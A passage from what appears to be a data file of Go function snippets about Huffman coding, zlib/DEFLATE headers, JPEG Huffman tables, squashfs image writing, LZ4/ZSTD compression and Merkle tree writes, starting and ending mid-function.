0\n\t\t}\n\t\tfreq[b[0]]++\n\t}\n\t_, err := inp.Seek(0, io.SeekStart)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tpQ := make(PriorityQueue, len(freq))\n\ti := 0\n\tfor v, f := range freq {\n\t\tpQ[i] = NewHNode(v, f)\n\t\ti++\n\t}\n\n\theap.Init(&pQ)\n\n\tfor pQ.Len() > 1 {\n\t\tzero := pQ.Pop()\n\t\tl := zero.(Item)\n\t\tone := pQ.Pop()\n\t\tr := one.(Item)\n\t\tht := NewHTree(l, r)\n\t\theap.Push(&pQ, ht)\n\t}\n\n\thtree := pQ.Pop()\n\troot, ok := htree.(*HTree)\n\tif !ok {\n\t\tpanic(\"Huffman Tree\")\n\t}\n\the.root = root\n\the.dict = make(map[byte]Huffcode)\n\tfilldict(he.root, \"\", he.dict)\n\the.bw = bs.NewWriter(wc)\n\treturn he\n}", "func Compress(file *os.File, outputName string) {\n\t// gerar a arvore a partir da frequencia dos caracteres do texto\n\troot := Harvest(GetMap(file))\n\n\t// gerar dicionario\n\tdict := make(map[string]string)\n\n\tif root.IsLeaf() {\n\t\tdict[root.Value] = \"0\"\n\t} else {\n\t\tcreateDict(root, dict, \"\")\n\t}\n\n\t//Resetar cursor\n\tfile.Seek(0, 0)\n\t//Escrever Árvore\n\toutputFile, _ := os.Create(outputName)\n\twriter := bit.NewWriter(outputFile)\n\twriteNode(root, writer)\n\n\t// Codificar\n\n\twriteCodified(file, dict, writer)\n}", "func Encode(input string) (string, *tree.Node[string]) {\n\t// Create huffman tree and map\n\thTree := getHuffmanTree(input)\n\tprintTree(hTree)\n\thMap := getHuffmanEncodingMap(hTree)\n\tbuilder := strings.Builder{}\n\tfor i := 0; i < len(input); i++ {\n\t\tbuilder.WriteString(hMap[string(input[i])])\n\t}\n\treturn builder.String(), hTree\n}", "func (enc *HuffmanEncoder) Write(p []byte) (n int, err error) {\n\tfor _, v := range p {\n\t\tcode, ok := enc.dict[v]\n\t\tif !ok {\n\t\t\tpanic(errors.New(\"non-existant uncompressed code \" + string(v)))\n\t\t}\n\n\t\terr = enc.bw.WriteBits(code.hcode, code.nbits)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\treturn len(p), nil\n}", "func HuffmanOnlyDeflate(d policies.DEFLATE,data []byte) []byte {\n\tbuf := new(bytes.Buffer)\n\tw,e := flate.NewWriter(buf,flate.HuffmanOnly)\n\tif e!=nil { panic(e) }\n\tw.Write(data)\n\tw.Close()\n\treturn buf.Bytes()\n}", "func (e *encoder) writeDHT(nComponent int) {\n\tmarkerlen := 2\n\tspecs := theHuffmanSpec[:]\n\tif nComponent == 1 {\n\t\t// Drop the Chrominance tables.\n\t\tspecs = specs[:2]\n\t}\n\tfor _, s := range specs {\n\t\tmarkerlen += 1 + 16 + len(s.value)\n\t}\n\te.writeMarkerHeader(dhtMarker, markerlen)\n\tfor i, s := range specs {\n\t\te.writeByte(\"\\x00\\x10\\x01\\x11\"[i])\n\t\te.write(s.count[:])\n\t\te.write(s.value)\n\t}\n}", "func (z *Writer) writeHeader() (err error) {\n\tz.wroteHeader = true\n\t// ZLIB has a two-byte header (as documented in RFC 1950).\n\t// The first four bits is the CINFO (compression info), which is 7 for the default deflate window size.\n\t// The next four bits is the CM (compression method), which is 8 for deflate.\n\tz.scratch[0] = 0x78\n\t// The next two bits is the FLEVEL (compression level). The four values are:\n\t// 0=fastest, 1=fast, 2=default, 3=best.\n\t// The next bit, FDICT, is set if a dictionary is given.\n\t// The final five FCHECK bits form a mod-31 checksum.\n\tswitch z.level {\n\tcase -2, 0, 1:\n\t\tz.scratch[1] = 0 << 6\n\tcase 2, 3, 4, 5:\n\t\tz.scratch[1] = 1 << 6\n\tcase 6, -1:\n\t\tz.scratch[1] = 2 << 6\n\tcase 7, 8, 9:\n\t\tz.scratch[1] = 3 << 6\n\tdefault:\n\t\tpanic(\"unreachable\")\n\t}\n\tif z.dict != nil {\n\t\tz.scratch[1] |= 1 << 5\n\t}\n\tz.scratch[1] += uint8(31 - (uint16(z.scratch[0])<<8+uint16(z.scratch[1]))%31)\n\tif _, err = z.w.Write(z.scratch[0:2]); err != nil {\n\t\treturn err\n\t}\n\tif z.dict != nil {\n\t\t// The next four bytes are the Adler-32 checksum of the dictionary.\n\t\tbinary.BigEndian.PutUint32(z.scratch[:], adler32.Checksum(z.dict))\n\t\tif _, err = z.w.Write(z.scratch[0:4]); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (fmt *FixedMerkleTree) Write(b []byte) (int, error) {\n\n\tfmt.writeLock.Lock()\n\tdefer fmt.writeLock.Unlock()\n\tif fmt.isFinal {\n\t\treturn 0, goError.New(\"cannot write. Tree is already finalized\")\n\t}\n\n\tfor i, j := 0, MaxMerkleLeavesSize-fmt.writeCount; i < len(b); i, j = j, j+MaxMerkleLeavesSize {\n\t\tif j > len(b) {\n\t\t\tj = len(b)\n\t\t}\n\t\tprevWriteCount := fmt.writeCount\n\t\tfmt.writeCount += int(j - i)\n\t\tcopy(fmt.writeBytes[prevWriteCount:fmt.writeCount], b[i:j])\n\n\t\tif fmt.writeCount == MaxMerkleLeavesSize {\n\t\t\t// data fragment reached 64KB, so send this slice to write to leaf hashes\n\t\t\terr := fmt.writeToLeaves(fmt.writeBytes)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\tfmt.writeCount = 0 // reset writeCount\n\t\t}\n\t}\n\treturn len(b), nil\n}", "func (p *GameTree) writeTree(w *bufio.Writer, n TreeNodeIdx, needs bool, nMov int, nMovPerLine int) (err error) {\n\tdefer u(tr(\"writeTree\"))\n\tif needs == true {\n\t\tif nMov > 0 {\n\t\t\terr = w.WriteByte('\\n')\n\t\t\tnMov = 0\n\t\t}\n\t\terr = w.WriteByte('(')\n\t}\n\tif err == nil {\n\t\tif nMov == nMovPerLine {\n\t\t\terr = w.WriteByte('\\n')\n\t\t\tnMov = 0\n\t\t}\n\t\terr = w.WriteByte(';')\n\t\t// write the node\n\t\ttyp := p.treeNodes[n].TNodType\n\t\tswitch typ {\n\t\tcase GameInfoNode:\n\t\t\t// fmt.Println(\"writing GameInfoNode\\n\")\n\t\t\terr = p.writeProperties(w, n, true)\n\t\tcase InteriorNode:\n\t\t\t// fmt.Println(\"writing InteriorNode\\n\")\n\t\t\terr = p.writeProperties(w, n, false)\n\t\tcase BlackMoveNode:\n\t\t\t_, err = w.WriteString(\"B[\")\n\t\t\t_, err = w.Write(SGFCoords(ah.NodeLoc(p.treeNodes[n].propListOrNodeLoc), p.IsFF4()))\n\t\t\terr = w.WriteByte(']')\n\t\t\tnMov += 1\n\t\tcase WhiteMoveNode:\n\t\t\t_, err = w.WriteString(\"W[\")\n\t\t\t_, err = w.Write(SGFCoords(ah.NodeLoc(p.treeNodes[n].propListOrNodeLoc), p.IsFF4()))\n\t\t\terr = w.WriteByte(']')\n\t\t\tnMov += 1\n\t\tdefault:\n\t\t\tfmt.Println(\"*** unsupported TreeNodeType in writeTree\")\n\t\t\terr = errors.New(\"writeTree: unsupported TreeNodeType\" + strconv.FormatInt(int64(typ), 10))\n\t\t\treturn err\n\t\t}\n\t\tif err == nil {\n\t\t\t// write the children\n\t\t\tlastCh := p.treeNodes[n].Children\n\t\t\tif lastCh != nilTreeNodeIdx && err == nil {\n\t\t\t\tch := p.treeNodes[lastCh].NextSib\n\t\t\t\tchNeeds := (lastCh != ch)\n\t\t\t\terr = p.writeTree(w, ch, chNeeds, nMov, nMovPerLine)\n\t\t\t\tfor ch != lastCh && err == nil {\n\t\t\t\t\tch = p.treeNodes[ch].NextSib\n\t\t\t\t\t//\t\t\t\t\tnMov += 1\n\t\t\t\t\terr = p.writeTree(w, ch, chNeeds, nMov, nMovPerLine)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (err == nil) && (needs == true) {\n\t\t\t\terr = w.WriteByte(')')\n\t\t\t}\n\t\t}\n\t}\n\treturn err\n}", "func BuildJpegHuffmanTable(count_in, symbols []int, lut []HuffmanTableEntry) int {\n\tvar (\n\t\tcode HuffmanTableEntry // current table entry\n\t\ttable []HuffmanTableEntry // next available space in table\n\t\tlength int // current code length\n\t\tidx int // symbol index\n\t\tkey int // prefix code\n\t\treps int // number of replicate key values in current table\n\t\tlow int // low bits for current root entry\n\t\ttable_bits int // key length of current table\n\t\ttable_size int // size of current table\n\t\ttotal_size int // sum of root table size and 2nd level table sizes\n\t)\n\n\t// Make a local copy of the input bit length histogram.\n\tvar count [kJpegHuffmanMaxBitLength + 1]int\n\ttotal_count := 0\n\tfor length = 1; length <= kJpegHuffmanMaxBitLength; length++ {\n\t\tcount[length] = count_in[length]\n\t\ttotal_count += count[length]\n\t}\n\n\ttable = lut\n\t// table_delta used in go version, to work around pointer arithmetic\n\ttable_delta := 0\n\ttable_bits = kJpegHuffmanRootTableBits\n\ttable_size = 1 << uint(table_bits)\n\ttotal_size = table_size\n\n\t// Special case code with only one value.\n\tif total_count == 1 {\n\t\tcode.bits = 0\n\t\tcode.value = uint16(symbols[0])\n\t\tfor key = 0; key < total_size; key++ {\n\t\t\ttable[key] = code\n\t\t}\n\t\treturn total_size\n\t}\n\n\t// Fill in root table.\n\tkey = 0\n\tidx = 0\n\tfor length = 1; length <= kJpegHuffmanRootTableBits; length++ {\n\t\tfor ; count[length] > 0; count[length]-- {\n\t\t\tcode.bits = uint8(length)\n\t\t\tcode.value = uint16(symbols[idx])\n\t\t\tidx++\n\t\t\treps = 1 << uint(kJpegHuffmanRootTableBits-length)\n\t\t\tfor ; reps > 0; reps-- {\n\t\t\t\ttable[key] = code\n\t\t\t\tkey++\n\t\t\t}\n\t\t}\n\t}\n\n\t// Fill in 2nd level tables and add pointers to root table.\n\ttable = table[table_size:]\n\ttable_delta += table_size\n\ttable_size = 0\n\tlow = 0\n\tfor length = kJpegHuffmanRootTableBits + 1; length <= kJpegHuffmanMaxBitLength; length++ {\n\t\tfor ; count[length] > 0; count[length]-- {\n\t\t\t// Start a new sub-table if the previous one is full.\n\t\t\tif low >= table_size {\n\t\t\t\ttable = table[table_size:]\n\t\t\t\ttable_delta += table_size\n\t\t\t\ttable_bits = NextTableBitSize(count[:], length)\n\t\t\t\ttable_size = 1 << uint(table_bits)\n\t\t\t\ttotal_size += table_size\n\t\t\t\tlow = 0\n\t\t\t\tlut[key].bits = uint8(table_bits + kJpegHuffmanRootTableBits)\n\t\t\t\tlut[key].value = uint16(table_delta - key)\n\t\t\t\tkey++\n\t\t\t}\n\t\t\tcode.bits = uint8(length - kJpegHuffmanRootTableBits)\n\t\t\tcode.value = uint16(symbols[idx])\n\t\t\tidx++\n\t\t\treps = 1 << uint(table_bits-int(code.bits))\n\t\t\tfor ; reps > 0; reps-- {\n\t\t\t\ttable[low] = code\n\t\t\t\tlow++\n\t\t\t}\n\t\t}\n\t}\n\n\treturn total_size\n}", "func WriteTree(writer io.Writer, hierarchy *Hierarchy, includeEmpty bool) {\n\ttree := assembleTree(hierarchy)\n\tkeys := make([]string, len(tree))\n\ti := 0\n\tfor k := range tree {\n\t\tkeys[i] = k\n\t\ti++\n\t}\n\tsort.Strings(keys)\n\tfor _, key := range keys {\n\t\tb := tree[key]\n\t\twriteBranch(writer, b, \"\", hierarchy, includeEmpty)\n\t}\n}", "func (fs *FileSystem) Finalize(options FinalizeOptions) error {\n\tif fs.workspace == \"\" {\n\t\treturn fmt.Errorf(\"cannot finalize an already finalized filesystem\")\n\t}\n\n\t/*\n\t\tThere is nothing we can find about the order of files/directories, for any of:\n\t\t- inodes in inode table\n\t\t- entries in directory table\n\t\t- data in data section\n\t\t- fragments in fragment section\n\n\t\tto keep it simple, we will follow what mksquashfs on linux does, in the following order:\n\t\t- superblock at byte 0\n\t\t- compression options, if any, at byte 96\n\t\t- file data immediately following compression options (or superblock, if no compression options)\n\t\t- fragments immediately following file data\n\t\t- inode table\n\t\t- directory table\n\t\t- fragment table\n\t\t- export table\n\t\t- uid/gid lookup table\n\t\t- xattr table\n\n\t\tNote that until we actually copy and compress each section, we do not know the position of each subsequent\n\t\tsection. So we have to write one, keep track of it, then the next, etc.\n\n\n\t*/\n\n\tf := fs.file\n\tblocksize := int(fs.blocksize)\n\tcomp := compressionNone\n\tif options.Compression != nil {\n\t\tcomp = options.Compression.flavour()\n\t}\n\n\t// build out file and directory tree\n\t// this returns a slice of *finalizeFileInfo, each of which represents a directory\n\t// or file\n\tfileList, err := walkTree(fs.Workspace())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error walking tree: %v\", err)\n\t}\n\n\t// location holds where we are writing in our file\n\tvar (\n\t\tlocation int64\n\t\tb []byte\n\t)\n\tlocation += superblockSize\n\tif options.Compression != nil {\n\t\tb = options.Compression.optionsBytes()\n\t\tif len(b) > 0 {\n\t\t\t_, _ = f.WriteAt(b, location)\n\t\t\tlocation += int64(len(b))\n\t\t}\n\t}\n\n\t// next write the file blocks\n\tcompressor := options.Compression\n\tif options.NoCompressData {\n\t\tcompressor = nil\n\t}\n\n\t// write file data blocks\n\t//\n\tdataWritten, err := writeDataBlocks(fileList, f, fs.workspace, blocksize, compressor, location)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error writing file data blocks: %v\", err)\n\t}\n\tlocation += int64(dataWritten)\n\n\t//\n\t// write file fragments\n\t//\n\tfragmentBlockStart := location\n\tfragmentBlocks, fragsWritten, err := writeFragmentBlocks(fileList, f, fs.workspace, blocksize, options, fragmentBlockStart)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error writing file fragment blocks: %v\", err)\n\t}\n\tlocation += fragsWritten\n\n\t// extract extended attributes, and save them for later; these are written at the very end\n\t// this must be done *before* creating inodes, as inodes reference these\n\txattrs := extractXattrs(fileList)\n\n\t// Now we need to write the inode table and directory table. But\n\t// we have a chicken and an egg problem.\n\t//\n\t// * On the one hand, inodes are written to the disk before the directories, so we need to know\n\t// the size of the inode data.\n\t// * On the other hand, inodes for directories point to directories, specifically, the block and offset\n\t// where the pointed-at directory resides in the directory table.\n\t//\n\t// So we need inode table to create directory table, and directory table to create inode table.\n\t//\n\t// Further complicating matters is that the data in the\n\t// directory inodes relies on having the directory data ready. Specifically,\n\t// it includes:\n\t// - index of the block in the directory table where the dir info starts. Note\n\t// that this is not just the directory *table* index, but the *block* index.\n\t// - offset within the block in the directory table where the dir info starts.\n\t// Same notes as previous entry.\n\t// - size of the directory table entries for this directory, all of it. Thus,\n\t// you have to have converted it all to bytes to get the information.\n\t//\n\t// The only possible way to do this is to run one, then the other, then\n\t// modify them. Until you generate both, you just don't know.\n\t//\n\t// Something that eases it a bit is that the block index in directory inodes\n\t// is from the start of the directory table, rather than start of archive.\n\t//\n\t// Order of execution:\n\t// 1. Write the file (not directory) data and fragments to disk.\n\t// 2. Create inodes for the files. We cannot write them yet because we need to\n\t// add the directory entries before compression.\n\t// 3. Convert the directories to a directory table. And no, we cannot just\n\t// calculate it based on the directory size, since some directories have\n\t// one header, some have multiple, so the size of each directory, even\n\t// given the number of files, can change.\n\t// 4. Create inodes for the directories and write them to disk\n\t// 5. Update the directory entries based on the inodes.\n\t// 6. Write directory table to disk\n\t//\n\t// if storing the inodes and directory table entirely in memory becomes\n\t// burdensome, use temporary scratch disk space to cache data in flight\n\n\t//\n\t// Build inodes for files. They are saved onto the fileList items themselves.\n\t//\n\t// build up a table of uids/gids we can store later\n\tidtable := map[uint32]uint16{}\n\t// get the inodes in order as a slice\n\tif err := createInodes(fileList, idtable, options); err != nil {\n\t\treturn fmt.Errorf(\"error creating file inodes: %v\", err)\n\t}\n\n\t// convert the inodes to data, while keeping track of where each\n\t// one is, so we can update the directory entries\n\tupdateInodeLocations(fileList)\n\n\t// create the directory table. We already have every inode and its position,\n\t// so we do not need to dip back into the inodes. The only changes will be\n\t// the block/offset references into the directory table, but those sizes do\n\t// not change. However, we will have to break out the headers, so this is not\n\t// completely finalized yet.\n\tdirectories := createDirectories(fileList[0])\n\n\t// create the final version of the directory table by creating the headers\n\t// and entries.\n\tpopulateDirectoryLocations(directories)\n\n\tif err := updateInodesFromDirectories(directories); err != nil {\n\t\treturn fmt.Errorf(\"error updating inodes with final directory data: %v\", err)\n\t}\n\n\t// write the inodes to the file\n\tinodesWritten, inodeTableLocation, err := writeInodes(fileList, f, compressor, location)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error writing inode data blocks: %v\", err)\n\t}\n\tlocation += int64(inodesWritten)\n\n\t// write directory data\n\tdirsWritten, dirTableLocation, err := writeDirectories(directories, f, compressor, location)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error writing directory data blocks: %v\", err)\n\t}\n\tlocation += int64(dirsWritten)\n\n\t// write fragment table\n\n\t/*\n\t\tThe indexCount is used for indexed lookups.\n\n\t\tThe index is stored at the end of the inode (after the filename) for extended directory\n\t\tThere is one entry for each block after the 0th, so if there is just one block, then there is no index\n\t\tThe filenames in the directory are sorted alphabetically. Each entry gives the first filename found in\n\t\tthe respective block, so if the name found is larger than yours, it is in the previous block\n\n\t\tb[0:4] uint32 index - number of bytes where this entry is from the beginning of this directory\n\t\tb[4:8] uint32 startBlock - number of bytes in the filesystem from the start of the directory table that this block is\n\t\tb[8:12] uint32 size - size of the name (-1)\n\t\tb[12:12+size] string name\n\n\t\tHere is an example of 1 entry:\n\n\t\tf11f 0000 0000 0000 0b00 0000 6669 6c65 6e61 6d65 5f34 3638\n\n\t\tb[0:4] index 0x1ff1\n\t\tb[4:8] startBlock 0x00\n\t\tb[8:12] size 0x0b (+1 for a total of 0x0c = 12)\n\t\tb[12:24] name filename_468\n\t*/\n\n\t// TODO:\n\t/*\n\t\t FILL IN:\n\t\t - xattr table\n\n\t\tALSO:\n\t\t- we have been treating every file like it is a normal file, but need to handle all of the special cases:\n\t\t\t\t- symlink, IPC, block/char device, hardlink\n\t\t- deduplicate values in xattrs\n\t\t- utilize options to: not add xattrs; not compress things; etc.\n\t\t- blockPosition calculations appear to be off\n\n\t*/\n\n\t// write the fragment table and its index\n\tfragmentTableWritten, fragmentTableLocation, err := writeFragmentTable(fragmentBlocks, fragmentBlockStart, f, compressor, location)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error writing fragment table: %v\", err)\n\t}\n\tlocation += int64(fragmentTableWritten)\n\n\t// write the export table\n\tvar (\n\t\texportTableLocation uint64\n\t\texportTableWritten int\n\t)\n\tif !options.NonExportable {\n\t\texportTableWritten, exportTableLocation, err = writeExportTable(fileList, f, compressor, location)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error writing export table: %v\", err)\n\t\t}\n\t\tlocation += int64(exportTableWritten)\n\t}\n\n\t// write the uidgid table\n\tidTableWritten, idTableLocation, err := writeIDTable(idtable, f, compressor, location)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error writing uidgid table: %v\", err)\n\t}\n\tlocation += int64(idTableWritten)\n\n\t// write the xattrs\n\tvar xAttrsLocation uint64\n\tif len(xattrs) == 0 {\n\t\txAttrsLocation = noXattrSuperblockFlag\n\t} else {\n\t\tvar xAttrsWritten int\n\t\txAttrsWritten, xAttrsLocation, err = writeXattrs(xattrs, f, compressor, location)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error writing xattrs table: %v\", err)\n\t\t}\n\t\tlocation += int64(xAttrsWritten)\n\t}\n\n\t// update and write the superblock\n\t// keep in mind that the superblock always needs to have a valid compression.\n\t// if there is no compression used, mark it as option gzip, and set all of the\n\t// flags to indicate that nothing is compressed.\n\tif comp == compressionNone {\n\t\tcomp = compressionGzip\n\t\toptions.NoCompressData = true\n\t\toptions.NoCompressInodes = true\n\t\toptions.NoCompressFragments = true\n\t\toptions.NoCompressXattrs = true\n\t}\n\tsb := &superblock{\n\t\tblocksize: uint32(blocksize),\n\t\tcompression: comp,\n\t\tinodes: uint32(len(fileList)),\n\t\txattrTableStart: xAttrsLocation,\n\t\tfragmentCount: uint32(len(fragmentBlocks)),\n\t\tmodTime: time.Now(),\n\t\tsize: uint64(location),\n\t\tversionMajor: 4,\n\t\tversionMinor: 0,\n\t\tidTableStart: idTableLocation,\n\t\texportTableStart: exportTableLocation,\n\t\tinodeTableStart: inodeTableLocation,\n\t\tidCount: uint16(len(idtable)),\n\t\tdirectoryTableStart: dirTableLocation,\n\t\tfragmentTableStart: fragmentTableLocation,\n\t\trootInode: &inodeRef{fileList[0].inodeLocation.block, fileList[0].inodeLocation.offset},\n\t\tsuperblockFlags: superblockFlags{\n\t\t\tuncompressedInodes: options.NoCompressInodes,\n\t\t\tuncompressedData: options.NoCompressData,\n\t\t\tuncompressedFragments: options.NoCompressFragments,\n\t\t\tuncompressedXattrs: options.NoCompressXattrs,\n\t\t\tnoFragments: options.NoFragments,\n\t\t\tnoXattrs: !options.Xattrs,\n\t\t\texportable: !options.NonExportable,\n\t\t},\n\t}\n\n\t// write the superblock\n\tsbBytes := sb.toBytes()\n\tif _, err := f.WriteAt(sbBytes, 0); err != nil {\n\t\treturn fmt.Errorf(\"failed to write superblock: %v\", err)\n\t}\n\n\t// finish by setting as finalized\n\tfs.workspace = \"\"\n\treturn nil\n}", "func (enc *HuffmanEncoder) Flush() error {\n\treturn enc.bw.Flush(bs.Zero)\n}", "func NewEncodingTree(freq map[uint8]uint) *Node {\n\tvar head Node // Fictitious head\n\n\tfor i, v := range freq {\n\t\tnode := &Node{\n\t\t\tvalue: i,\n\t\t\tweight: v,\n\t\t}\n\t\thead.insert(node)\n\t}\n\n\tfor head.next != nil && head.next.next != nil {\n\t\tl := head.popFirst()\n\t\tr := head.popFirst()\n\n\t\tnode := join(l, r)\n\t\thead.insert(node)\n\t}\n\n\t// Fictitious head point to tree root\n\tif head.next != nil {\n\t\thead.next.prev = nil\n\t}\n\treturn head.next\n}", "func (enc *HuffmanEncoder) ShowHuffTree() {\n\ttraverse(enc.root, \"\")\n}", "func CreateBinaryTree() {\n\tfmt.Fprintln(os.Stderr, \"CreateBinaryTree\")\n\tvar min1i, min2i, pos1, pos2 int\n\tvar point []int = make([]int, MAX_CODE_LENGTH)\n\tvar code []byte = make([]byte, MAX_CODE_LENGTH)\n\tvar count []int64 = make([]int64, vocab_size*2+1)\n\tvar binaryt []int = make([]int, vocab_size*2+1)\n\tvar parent_node []int = make([]int, vocab_size*2+1)\n\tfor a := 0; a < vocab_size; a++ {\n\t\tcount[a] = int64(vocab[a].cn)\n\t}\n\tfor a := vocab_size; a < vocab_size*2; a++ {\n\t\tcount[a] = 1e15\n\t}\n\tpos1 = vocab_size - 1\n\tpos2 = vocab_size\n\t// Following algorithm constructs the Huffman tree by adding one node at a time\n\tfor a := 0; a < vocab_size-1; a++ {\n\t\t// First, find two smallest nodes 'min1, min2'\n\t\tif pos1 >= 0 {\n\t\t\tif count[pos1] < count[pos2] {\n\t\t\t\tmin1i = pos1\n\t\t\t\tpos1--\n\t\t\t} else {\n\t\t\t\tmin1i = pos2\n\t\t\t\tpos2++\n\t\t\t}\n\t\t} else {\n\t\t\tmin1i = pos2\n\t\t\tpos2++\n\t\t}\n\t\tif pos1 >= 0 {\n\t\t\tif count[pos1] < count[pos2] {\n\t\t\t\tmin2i = pos1\n\t\t\t\tpos1--\n\t\t\t} else {\n\t\t\t\tmin2i = pos2\n\t\t\t\tpos2++\n\t\t\t}\n\t\t} else {\n\t\t\tmin2i = pos2\n\t\t\tpos2++\n\t\t}\n\t\tcount[vocab_size+a] = count[min1i] + count[min2i]\n\t\tparent_node[min1i] = vocab_size + a\n\t\tparent_node[min2i] = vocab_size + a\n\t\tbinaryt[min2i] = 1\n\t}\n\t// Now assign binary code to each vocabulary character\n\tfor a := 0; a < vocab_size; a++ {\n\t\tb := a\n\t\ti := 0\n\t\tfor {\n\t\t\tcode[i] = byte(binaryt[b])\n\t\t\tpoint[i] = b\n\t\t\ti++\n\t\t\tb = parent_node[b]\n\t\t\tif b == vocab_size*2-2 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tvocab[a].codelen = byte(i)\n\t\tvocab[a].point[0] = vocab_size - 2\n\t\tfor b = 0; b < i; b++ {\n\t\t\tvocab[a].code[i-b-1] = code[b]\n\t\t\tvocab[a].point[i-b] = point[b] - vocab_size\n\t\t}\n\t}\n}", "func (w *Writer) Flush() error {\n\t// (1) superblock will be written later\n\n\t// (2) compressor-specific options omitted\n\n\t// (3) data has already been written\n\n\t// (4) write inode table\n\toff, err := w.w.Seek(0, io.SeekCurrent)\n\tif err != nil {\n\t\treturn err\n\t}\n\tw.sb.InodeTableStart = off\n\n\tif err := w.writeMetadataChunks(&w.inodeBuf); err != nil {\n\t\treturn err\n\t}\n\n\t// (5) write directory table\n\toff, err = w.w.Seek(0, io.SeekCurrent)\n\tif err != nil {\n\t\treturn err\n\t}\n\tw.sb.DirectoryTableStart = off\n\n\tif err := w.writeMetadataChunks(&w.dirBuf); err != nil {\n\t\treturn err\n\t}\n\n\t// (6) fragment table omitted\n\toff, err = w.w.Seek(0, io.SeekCurrent)\n\tif err != nil {\n\t\treturn err\n\t}\n\tw.sb.FragmentTableStart = off\n\n\t// (7) export table omitted\n\n\t// (8) write uid/gid lookup table\n\tidTableStart, err := writeIdTable(w.w, []uint32{0})\n\tif err != nil {\n\t\treturn err\n\t}\n\tw.sb.IdTableStart = idTableStart\n\n\t// (9) xattr table\n\toff, err = w.writeXattrTables()\n\tif err != nil {\n\t\treturn err\n\t}\n\tw.sb.XattrIdTableStart = off\n\n\toff, err = w.w.Seek(0, io.SeekCurrent)\n\tif err != nil {\n\t\treturn err\n\t}\n\tw.sb.BytesUsed = off\n\n\t// Pad to 4096, required for the kernel to be able to access all pages\n\tif pad := off % 4096; pad > 0 {\n\t\tpadding := make([]byte, 4096-pad)\n\t\tif _, err := w.w.Write(padding); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// (1) Write superblock\n\tif _, err := w.w.Seek(0, io.SeekStart); err != nil {\n\t\treturn err\n\t}\n\n\treturn binary.Write(w.w, binary.LittleEndian, &w.sb)\n}", "func (cw *compressWriter) Flush() error {\n\tif cw.pos == 0 {\n\t\treturn nil\n\t}\n\tmaxSize := lz4.CompressBlockBound(len(cw.data[:cw.pos]))\n\tcw.zdata = append(cw.zdata[:0], make([]byte, maxSize+headerSize)...)\n\t_ = cw.zdata[:headerSize]\n\tcw.zdata[hMethod] = byte(cw.method)\n\n\tvar n int\n\t//nolint:exhaustive\n\tswitch cw.method {\n\tcase CompressLZ4:\n\t\tif cw.lz4 == nil {\n\t\t\tcw.lz4 = &lz4.Compressor{}\n\t\t}\n\t\tcompressedSize, err := cw.lz4.CompressBlock(cw.data[:cw.pos], cw.zdata[headerSize:])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"lz4 compress error: %v\", err)\n\t\t}\n\t\tn = compressedSize\n\tcase CompressZSTD:\n\t\tif cw.zstd == nil {\n\t\t\tzw, err := zstd.NewWriter(nil,\n\t\t\t\tzstd.WithEncoderLevel(zstd.SpeedDefault),\n\t\t\t\tzstd.WithEncoderConcurrency(1),\n\t\t\t\tzstd.WithLowerEncoderMem(true),\n\t\t\t)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"zstd new error: %v\", err)\n\t\t\t}\n\t\t\tcw.zstd = zw\n\t\t}\n\t\tcw.zdata = cw.zstd.EncodeAll(cw.data[:cw.pos], cw.zdata[:headerSize])\n\t\tn = len(cw.zdata) - headerSize\n\tcase CompressChecksum:\n\t\tn = copy(cw.zdata[headerSize:], cw.data[:cw.pos])\n\t}\n\n\tcw.zdata = cw.zdata[:n+headerSize]\n\n\tbinary.LittleEndian.PutUint32(cw.zdata[hRawSize:], uint32(n+compressHeaderSize))\n\tbinary.LittleEndian.PutUint32(cw.zdata[hDataSize:], uint32(cw.pos))\n\th := city.CH128(cw.zdata[hMethod:])\n\tbinary.LittleEndian.PutUint64(cw.zdata[0:8], h.Low)\n\tbinary.LittleEndian.PutUint64(cw.zdata[8:16], h.High)\n\n\t_, err := cw.writer.Write(cw.zdata)\n\tcw.pos = 0\n\treturn err\n}", "func (s *ShortenBlock) Write(offset int, data []byte) (int, error) {\n\tsize := len(data)\n\tlog.Debugf(\"writing %d bytes at offset %d\", size, offset)\n\tstartLeafIdx := offset / s.shortener.NodeSize()\n\tendLeafIdx := int(math.Ceil(float64(offset+size) / float64(s.shortener.NodeSize())))\n\n\tbytesWritten := 0\n\n\tfor leafIdx := startLeafIdx; leafIdx < endLeafIdx; leafIdx++ {\n\t\tlog.Debugf(\"writing to leaf %d of range (%d, %d)\", leafIdx, startLeafIdx, endLeafIdx)\n\t\tvar leaf *Node\n\t\tvar err error\n\t\tif leaf, err = s.getLeaf(int(leafIdx)); err != nil {\n\t\t\tlog.Debugf(\"could not retrieve leaf: %s\", err.Error())\n\t\t\treturn 0, nil\n\t\t}\n\n\t\tvar subWriteStart int\n\t\tvar subWriteEnd int\n\t\tif leafIdx == startLeafIdx {\n\t\t\tsubWriteStart = offset % s.shortener.NodeSize()\n\t\t} else {\n\t\t\tsubWriteStart = 0\n\t\t}\n\t\tif leafIdx == endLeafIdx-1 {\n\t\t\tsubWriteEnd = (offset + size) % s.shortener.NodeSize()\n\t\t} else {\n\t\t\tsubWriteEnd = s.shortener.NodeSize()\n\t\t}\n\n\t\tvar leafData []byte\n\t\tif leaf.id != \"\" {\n\t\t\tif leafData, err = s.cachedNodeRead(leaf.id); err != nil {\n\t\t\t\tlog.Errorf(\"could not read leaf data: %s\", err.Error())\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t} else {\n\t\t\tleafData = bytes.Repeat([]byte{0}, s.shortener.NodeSize())\n\t\t}\n\t\tlog.Tracef(\"concatenating old leaf data of length %d with range 